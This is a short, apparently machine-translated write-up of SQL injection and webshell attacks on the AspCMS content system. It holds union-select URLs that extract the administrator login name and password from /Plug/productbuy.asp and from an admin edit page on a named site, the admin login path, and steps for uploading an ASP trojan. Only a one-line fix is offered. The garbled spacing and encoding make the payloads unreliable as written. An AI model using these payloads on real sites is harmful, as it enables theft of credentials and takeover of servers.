Aspcms injection + cookies spoofing and repair

Vulnerability occurs in
/Plug/productbuy. asp
Injection vulnerability caused by no filtering of received parameter IDS
The injected page is redirected, so it is fast. We recommend that you use the shortcut key to copy
Brute-force Username
/Plug/productbuy. asp? Id = 2 + union + select + 1, 2, LoginName, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 16, 17, 18, 19, 20, 21, 24, 25,
26,27, 28,29, 30,31, 32,33, 34,35, 36,37 + from + AspCms_User + where + userid = 1
This is the account name with an ID = 1. If you find that the account has insufficient permissions, try the following steps: 2, 3, 4 ...........

Password cracking
/Plug/productbuy. asp? Id = 2 + union + select + 1, 2, password, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25,
26,27, 28,29, 30,31, 32,33, 34,35, 36,37 + from + AspCms_User + where + userid = 1

Background logon address:/admin/login. asp

Shell in the background
1. directly upload. asp; x
2. system configuration information
3. Create a template management. 1. Create an asp template and write the content of the Trojan.

Solution:

Id with cint (request ("id "))

 

Question 2:

-------- Background injection --------
Http://www.bkjia.com/admin/_ content/_ About/AspCms_AboutEdit.asp? Id = 1% 20and % 201 = 2% 20 union % 20 select % ,,2, 3, 4, 5, loginname, 7, 8, 9, password, 11, 12, 13, 14, 15, 16, 17,18, 19,20, 21,22, 35%, 24, from % 20aspcms_user % 20 where % 20 userid = 1